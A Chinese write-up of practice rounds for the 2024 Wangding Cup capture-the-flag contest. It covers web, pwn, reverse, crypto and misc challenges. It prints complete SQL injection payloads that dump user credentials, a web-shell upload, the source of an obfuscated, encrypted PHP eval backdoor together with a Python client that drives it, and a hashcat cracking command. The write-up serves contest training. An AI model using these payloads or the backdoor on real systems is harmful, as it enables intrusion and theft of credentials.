第四届“网鼎杯”网络安全大赛
--赛前模拟训练--
(1)1024/10/26 第二次赛前模拟训练,以为是与第一次完全不同的全新赛题,结果是一样的赛题,
变动之处:赛题改了签到题,增加了WEB03,修正了REVERSE01。
第二次比第一次多答了三题:WEB02、PWN01、REVERSE01(比较官方已经修正)。
(2)WEB03 没有答出来,事后做了一些测试复盘,看下对应的php后门启动器。
一、网络安全(WEB)
1、签到题
根据题目内容,用python的base64解密,如图:

签到改为加QQ群看公告题

2、WEB01
通过Buip Suite测试发现疑似有文件上传漏洞,实测确认;
通过上传从【https://github.com/artyuum/simple-php-web-shell/blob/master/index.php】下载的php web shell,并访问执行,在/home/ctf/flag找到flag,并回显,如图:

第二次flag位置变为/flag.txt

3、WEB02
第一次【未作答】(无经验);第二次完成了SQL注入,对于习惯逆向的人来说,感觉这题最有意思

第二次作答:
页面疑似SQL注入漏洞点:OA_announcement.php?id=1
(1)通过分别追加【‘】【 and 1=1】【and 1=2】确定存在SQL注入;
(2)通过分别追加【 union select 1】【union select 1,2】【 union select 1,2,3】【 union select 1,2,3,4】确定查询结果列数为4;
(3)通过修改id=-1且追加【 UNION SELECT 'x', 'y', 'z', 't' FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE'】,得知y,z位置即第二、三列分别对应title和content元素内容;
(4)提交【/OA_announcement.php?id=1 UNION SELECT 'x', 'y', TABLE_NAME, 't' FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE' LIMIT 1 OFFSET 1】得到敏感表名【OA_Users】;
(5)提交【OA_announcement.php?id=-1 UNION SELECT 'x', TABLE_NAME, (SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR ':') AS cnames FROM information_schema.COLUMNS WHERE TABLE_NAME = 'OA_Users'), 't' FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE'】得到表【OA_Users】的所有列名【id:OAname:PassWord:Status】
(6)提交【/OA_announcement.php?id=-1 UNION SELECT 'x', TABLE_NAME, (SELECT GROUP_CONCAT(up SEPARATOR '-') AS ups FROM (SELECT CONCAT(OAname, ':', PassWord) AS up FROM OA_Users) AS subquery), 't' FROM information_schema.TABLES WHERE TABLE_TYPE = 'BASE TABLE'】得到表【OA_Users】中所有用户名和密码数据,如图
(7)有三个用户名和密码,猜测密码为MD5,在线MD5解密第三个成功得到密码;
(8)登录得到wdflag{fkenmvstzm5cw63ehh72zkzzmw7n40ye}。





4、WEB03
【未作答】(找不到切入点)
没有经验,陷入了死胡同,并找不到出路,以下是参考其他道友进行复盘。
(1)泄露类,使用diresearch等目录搜索;
(2)下载到wwwroot.zip备份。
(3)有些道友是基于审计找到目标,其中有个道友的思路个人觉得比较出奇制胜。
基本思路是参考wwwroot.zip的几百个路径,写脚本进行请求测试,最终筛选出两个有效的访问路径:一个是主页index.html,一个是后门describedssTest.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php error_reporting(0);header('Content-type: text/html; charset=utf-8');$p8='3b7430adaed18facca7b799229138b7b';$a8='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';$d8='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';$v8='0329647546905494';function e($D,$K){$cipher='aes-128-cbc'; $encrypted=openssl_encrypt($D,$cipher,$K,0,$GLOBALS['v8']); $result=base64_encode($GLOBALS['v8'].$encrypted); $result=base64_encode($result); return $result;}function d($D, $K){$cipher='aes-128-cbc'; $decodedData=base64_decode(base64_decode($D)); $encryptedData=substr($decodedData, openssl_cipher_iv_length($cipher)); $decrypted=openssl_decrypt($encryptedData,$cipher,$K,0,$GLOBALS['v8']); return $decrypted;}$a8=trim(d($a8,$p8));ob_start();$a8(trim(d($d8,$p8)));$O=ob_get_contents();ob_end_clean();echo e($O,$p8);?> |
(4)至此,我们可以通过php或(docker)进行选择测试
(5)python对应的aes-cbc-128解密器为
应当注意,128是通过传递16字节key决定,而全部key长为32,所以必须有选择子[:16],然后则可以用aes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | p8='3b7430adaed18facca7b799229138b7b';a8='TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';d8='TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';v8='0329647546905494';from Cryptodome.Cipher import AESdef new_aes128cbc_cipher(): aes = AES.new(b'3b7430adaed18facca7b799229138b7b'[:16],AES.MODE_CBC,b'0329647546905494') return aesdef aes_pad(data): if isinstance(data,bytes): pass elif isinstance(data,str): data = data.encode() tdl = 16 - (len(data)%16) data += (chr(tdl)*tdl).encode() return datadef aes_unpad(data): tdl = data[-1] return data[:-tdl].decode() def aes_encrypt(plain_php_code): chipher = new_aes128cbc_cipher() enc_php_code = chipher.encrypt(aes_pad(plain_php_code)) b64_enc_php_code = base64.b64encode(enc_php_code) iv = b'0329647546905494' iv_b64_enc_php_code = iv + b64_enc_php_code two_b64_iv_b64_enc_php_code = base64.b64encode(base64.b64encode(iv_b64_enc_php_code)) return two_b64_iv_b64_enc_php_code.decode()def aes_decrypt(x_enc_php_code): iv_b64_enc_php_code = base64.b64decode(base64.b64decode(x_enc_php_code)) b64_enc_php_code = iv_b64_enc_php_code[16:] enc_php_code = base64.b64decode(b64_enc_php_code) chipher = new_aes128cbc_cipher() plain_php_code = aes_unpad(chipher.decrypt(enc_php_code)) return plain_php_code |
对于a8和d8的解密,我们得到如下:

即初步简化后的php页面为:
1 2 3 4 5 6 7 8 | <?php error_reporting(0);header('Content-type: text/html; charset=utf-8');ob_start();assert(@eval("if(md5(@\$_GET['id'])===\$p8){@eval(trim(d(\$_POST['d'],\$p8)));}"))$O=ob_get_contents();ob_end_clean();echo e($O,$p8);?> |
(1)error_reporting(0);关闭后续执行错误响应给浏览器
(2)header('Content-type: text/html; charset=utf-8');指示返回html页面内容;
(3)ob_start();将后续内容输出到缓存
(4)执行:assert(@eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}"))
(5)$O=ob_get_contents();获取缓冲中(4)执行结果;
(6)ob_end_clean();清除缓存;
(7)将结果加密(aec_encrypt(result))返回给客户端。
这是一个常规的对抗流量检测的后门,载荷和结果都是私密传输。
1 2 3 4 5 | # hashlib.md5(b'04c50eb4bc04c76311d03550ee2c1b71').hexdigest() => '3b7430adaed18facca7b799229138b7b'# hashlib.md5(b'20241026').hexdigest() => '04c50eb4bc04c76311d03550ee2c1b71'rsp = requests.post(url, params={'id':'04c50eb4bc04c76311d03550ee2c1b71'}, data={'d':aes_encrypt(php_code)})if rsp.status_code==200: result_of_php_code = aes_decrypt(rsp.content) |
部分道友付费破解得到’3b7430adaed18facca7b799229138b7b‘是’20241026‘的双重MD5,
这里马后炮的说法,用hashcat跑以下可以得到(这里简单马后炮测试4到8个数字)
1 | hashcat.exe -a 3 -m 2600 --increment --increment-min 4 --increment-max 8 3b7430adaed18facca7b799229138b7b ?d?d?d?d?d?d?d?d |
作为延申,后续遇到相关hash,可能需要我们根据hashcat的类型做一定的拓展测试,比如md5类
1 2 3 4 | 0 | MD5 | Raw Hash2600 | md5(md5($pass)) | Raw Hash salted and/or iterated3500 | md5(md5(md5($pass))) | Raw Hash salted and/or iterated4300 | md5(strtoupper(md5($pass))) | Raw Hash salted and/or iterated |

二、二进制漏洞安全(PWN)
1、PWN01
第一次【未作答】(无头绪);第二次才发现原来不是盲测,有个附件,还是源码!


第二次,直接看源码得解:


三、逆向工程(REVERSE)
1、REVERSE01
【未作答】(怀疑人生,提交【flag{2024____W_D_B!}】错误,不知哪里有纰漏)

四、密码学(CRYPTO)
1、CRYPTO01
猜测pvgq为flag,观察初步得到为字符集内循环左移10位加密所得,
同时得到大写字母GNL对应于敏感缩写WDB(网鼎杯),
字符是否加密不得知道,最后尝试无果的情况下,在尝试枚举爆破前,【保留非字母字符】尝试得到正确解。如下图(红圈圈起来为flag):

2、CRYPTO02
我们把图片防盗010 Edite编辑器中,运用jpg模板,看到图片最后有冗余数据,
对冗余数据尝试base64解密,得到真实flag,如图

五、杂项(MISC)
1、MISC01
在尝试将nginx_log.txt日志各行记录正则提取归类分析时,发现正则无法匹配记录,得解,如下图:

附件 WDB2024_PCST_parts.zip 内文件清单(只有可下载部分):
web_CheckIn_e5e206484591eb94269ee3f7ef025aaa.zip
crypto01_rucabhvw4vay1u2oscj0ag3xykn5bohg.zip
crypto02_e5e20648asdasffassafafasfas113125aaa.zip
reverse01_kyplwppawrxnjctbydo4w8t15yyyub5d.zip
misc01_jfjel8u10vcjwf04mtvv0dbx3xiig4z0.zip